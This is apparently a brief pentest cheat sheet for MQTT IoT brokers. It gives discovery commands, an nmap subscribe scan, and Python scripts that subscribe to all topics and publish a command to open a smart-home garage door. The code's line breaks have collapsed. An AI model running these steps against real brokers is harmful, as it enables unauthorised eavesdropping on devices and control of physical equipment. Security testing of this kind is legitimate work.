MQTT - Message Queuing Telemetry Transport
contents
Discovery#
MQTT is a lightweight messaging protocol often used in IoT (Internet of Things) applications.
- 1883: Default port for MQTT.
- 8883: Default port for MQTT over TLS/SSL.
MQTT client:
mqtt-spy
MQTT.fx
mosquitto_tools
mosquitto_sub -h sensors.domain.com -t '#'mosquitto_sub -h sensors.domain.com -t '+'mosquitto_sub -h sensors.domain.com -t "/sensor/"
Scan an MQTT with nmap :
nmap -p 1883 -vvv --script=mqtt-subscribe -d sensors.domain.comExplore MQTT#
Connect and subscribe to every topics using the # keyword.
import paho.mqtt.client as mqttdef on_connect(client, userdata, flags, rc): print "[+] Connection successful" client.subscribe('#', qos = 1) # Subscribe to all topics client.subscribe('$SYS/#') # Broker Status (Mosquitto)def on_message(client, userdata, msg): print '[+] Topic: %s - Message: %s' % (msg.topic, msg.payload)client = mqtt.Client(client_id = "MqttClient")client.on_connect = on_connectclient.on_message = on_messageclient.connect('SERVER IP HERE', 1883, 60)client.loop_forever()Send MQTT requests
import paho.mqtt.client as mqttdef on_connect(client, userdata, flags, rc): print "[+] Connection success"client = mqtt.Client(client_id = "MqttClient")client.on_connect = on_connectclient.connect('IP SERVER HERE', 1883, 60)client.publish('smarthouse/garage/door', "{'open':'true'}")